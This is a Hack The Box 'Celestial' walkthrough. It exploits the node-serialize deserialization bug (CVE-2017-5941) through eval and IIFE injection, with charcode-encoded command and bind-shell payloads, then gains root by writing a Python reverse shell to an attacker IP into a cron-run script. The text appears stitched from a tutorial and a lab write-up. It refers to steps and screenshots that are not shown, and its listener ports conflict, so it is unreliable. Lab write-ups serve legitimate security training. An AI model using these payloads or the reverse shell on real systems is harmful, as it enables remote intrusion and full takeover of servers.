HTB – Celestial

Exploiting Node.js Deserialization bug for Remote Code Execution (CVE-2017-5941)

The eval() function is a common function of nodejs that is easy to exploit if data passed to it not filtered correctly. On review source code of some projects in nodejs and researching nodejs application security. I found this function used on some project that it is vulnerable to exploit.

For source code for this tutorial please get from link. You need to install Nodejs and Express first.

To start code run: node index.js

This first part is untilize feature unserialize of a nodejs module. The exploit method happened with PHP, Java… as well. I will show the exploit on next tutorials for some of these languages.

We will use a nodejs module is node-serialize on this example. Ok Let’s make an analysis in depth on it. This module contains an eval() function that may be exploited if we do not check data passed to it correctly.

The functioneval() evaluates JavaScript code represented as a string as documented.

Look at line 74 of module source code we have.

if(obj[key].indexOf(FUNCFLAG) ===0) {
     obj[key] =eval(‘(‘+obj[key].substring(FUNCFLAG.length) +’)’);
}
The code contain this line loop through object’s properties, if it is a function then eval is called. So let’s  try to inject some javascript code on it.
1
2
3
4
5
6
7
8
9
10
11
12
var obj = {
name:'hd7exploit',
say:function() {
return'Hi '+this.name
}
};
var objS = serialize.serialize(obj)
console.log(objS);
typeof objS==='string'
var unserialize_obj=serialize.unserialize(objS)
console.log(unserialize_obj)
console.log(unserialize_obj.say())
 We have a string like this after serialize:
{“name”:”hd7exploit”,”say”:”_$$ND_FUNC$$_function () {\n      return ‘Hi ‘ + this.name\n   }”} 

On unserialize, it loop through properties of this object created from this string. Because say is a function so we have : (function () {return ‘Hi ‘ + this.name})  passed to eval -> eval( (function () {return ‘Hi ‘ + this.name})) 

Let try this code with eval((function () { console.log (‘Hi )}) on a web browser.

“Hi” is not shown on console log of course. Because the function is not called anywhere.

We need to execute code when the object is processed by function unserialize. Because we did know how the object of the application is and how it processed later. So we need to pass code to eval and it must be executed immediately to show Hi.

And Immediately-Invoked Function Expression (IIFE) come to resolve this.

An IIFE is an anonymous function that is created and then immediately invoked. It’s not called from anywhere else (hence why it’s anonymous), but runs just after being created.

Let try with this method  eval((function () {console.log (‘Hi )})()).
Run again and “Hi” is shown.

We want to get a shell so let’s try to call exec to run some commands on a target system.

1
2
3
4
5
6
7
var obj = {
run :function(){
require('child_process').exec('ls -la', function(error, stdout, stderr) { console.log(stdout) });
}(),
}
var objS=serialize.serialize(obj)
var unserialize_obj=serialize.unserialize(objS)

Now we have a string

{“run”:”_$$ND_FUNC$$_function (){\n      require(‘child_process’).exec(‘ls -la’, function(error, stdout, stderr) { console.log(stdout) });\n    }”}

And (function (){require(‘child_process’).exec(‘ls -la’, function(error, stdout, stderr) { console.log(stdout) });}) passed to eval()

Then let’s try with () on the end.

{“run”:”_$$ND_FUNC$$_function (){require(\’child_process\’).exec(\’ls -la\’, function(error, stdout, stderr) { console.log(stdout) });}()“}

Great, It worked, We can inject code with our controlled payload.

Next to encode this payload. For easy and quick to create payload. I created a small script to generate node shell and some commands to test. get the source code at node_shell.py.

Look at some options the script provided:

  1. Let create a command “ls -la”

Then pass this data with request
1
http://localhost:3000/exploit/unserialize/{"run": "_$$ND_FUNC$$_function (){eval(String.fromCharCode(10,32,32,32,32,32,32,32,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,40,39,108,115,32,45,108,97,39,44,32,102,117,110,99,116,105,111,110,40,101,114,114,111,114,44,32,115,116,100,111,117,116,44,32,115,116,100,101,114,114,41,32,123,10,32,32,32,32,32,32,32,32,32,32,32,32,99,111,110,115,111,108,101,46,108,111,103,40,101,114,114,111,114,41,10,32,32,32,32,32,32,32,32,32,32,32,32,99,111,110,115,111,108,101,46,108,111,103,40,115,116,100,111,117,116,41,10,32,32,32,32,32,32,32,32,125,41,10,32,32,32,32,32,32,32,32))}()"}

Check it.

Oh, It worked.

2. Let’s try with reverse shell payload

Run Netcat listen on port 4444 on our machine, then send a crafted request to vuln server.

Check netcat console. I worked as well.

3. Let’s try with bind_shell payload

Then pass it with request

1
http://localhost:3000/exploit/serialize/%7B%22run%22:%20%22_$$ND_FUNC$$_function%20()%7Beval(String.fromCharCode(10,32,32,32,32,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,32,32,32,32,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,10,32,32,32,32,80,79,82,84,61,34,52,52,52,52,34,59,10,32,32,32,32,105,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,114,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32,125,59,32,125,10,32,32,32,32,118,97,114,32,115,101,114,118,101,114,32,61,32,110,101,116,46,99,114,101,97,116,101,83,101,114,118,101,114,40,102,117,110,99,116,105,111,110,32,40,99,41,32,123,10,32,32,32,32,32,32,32,32,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110,47,115,104,39,44,32,91,39,45,105,39,93,41,59,10,32,32,32,32,32,32,32,32,99,46,112,105,112,101,40,115,104,46,115,116,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,111,117,116,46,112,105,112,101,40,99,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,115,101,114,118,101,114,46,108,105,115,116,101,110,40,80,79,82,84,41,59,10,32,32,32,32))%7D()%22%7D

Check listen ports on the vuls server. shell bind port 4444.

Let’s connect to it. It worked as well.

Note : Before forwarding the modified content in Burpsuite , we should setup the netcat listener in Kali machine and keep it ready .

In order to access proper TTY shell , we had imported python one line script by typing following:

Hurray !! We got into the reverse shell of the target machine

Lets have a quick look at the contents

ls

We navigated to many folders , however found interesting stuff in the Documents folder

Here we can see that there is a user.txt file , lets read it contents

Finally , we got our first flag i.e  output of user.txt file

Now upon further navigation , we also opened the script.py file because of our curiosity to examine the contents of the same . If we do cat script.py , the output displays as print “Script is running”

print “Script is running..”

Note : This is an indication that we may need to examine the log files to see which script is running and if it is running on a periodic basis

The best step to move forward is to examine the contents of the log directory in var

Let’s see the files listed over here

As we can see that there are multiple syslog files being generated in this folder . The old logs are being zipped and numbered accordingly .The latest logs are always stored in the log file named syslog .So we will open the contents of the syslog file and try to find out if there is something interesting going on.

We will notice that there is a cronjob running every 5 minutes , which is copying the output of script.py file (in the home/sun/Documents folder) to the output.txt file

Now we can try to put our own content in the script.py file . For this let’s generate a Reverse shell with the following command

Copy the contents of msfvenom output and save it on Kali Desktop named as script.py ,which will be further used in the subsequent steps

Now run the web server on the Kali machine

 

Lets read the contents of the script.py .The output displays as print “Script is running..”

Lets move this original python script (script.py) by renaming it to script.py.originalas shown below

Download our newly created script.py from the Kali machine Desktop

 

Open a netcat reverse shell

In order to access proper TTY shell , we had imported python one line script by typing following:

Hurray!! We got into the root

or we can simply echo a python reverse shell on script.py, setup another netcat listener, and wait for the cron job to trigger.

root@kali:~/Desktop# nc -nlvp 1234
listening on [any] 1234 ...
sun@sun:~/Documents$ echo "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.28\",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);" > script.py

After a few minutes of waiting, our netcat listener should receive a reverse shell connection. .

root@kali:~/Desktop# nc -nlvp 31337
listening on [any] 31337 ...
connect to [10.10.14.28] from (UNKNOWN) [10.10.10.85] 49392
/bin/sh: 0: can't access tty; job control turned off
# whoami
root
# cd /root
# ls
root.txt
script.py
# cat root.txt
{FLAG_NOT_SHOWED}
root@sun:~# crontab -l
crontab -l
# Edit this file to introduce tasks to be run by cron.
#
# --snip--
# 
# m h dom mon dow command
*/5 * * * * python /home/sun/Documents/script.py > /home/sun/output.txt; cp /root/script.py /home/sun/Documents/script.py; chown sun:sun /home/sun/Documents/script.py; chattr -i /home/sun/Documents/script.py; touch -d "$(date -R -r /home/sun/Documents/user.txt)" /home/sun/Documents/script.py
root@sun:~#

Reference

1. https://github.com/luin/serialize

2. https://www.hacksparrow.com/difference-between-spawn-and-exec-of-node-js-child_process.html

3. http://benalman.com/news/2010/11/immediately-invoked-function-expression/

4. https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/

Geplaatst op

Geef een reactie

Het e-mailadres wordt niet gepubliceerd. Vereiste velden zijn gemarkeerd met *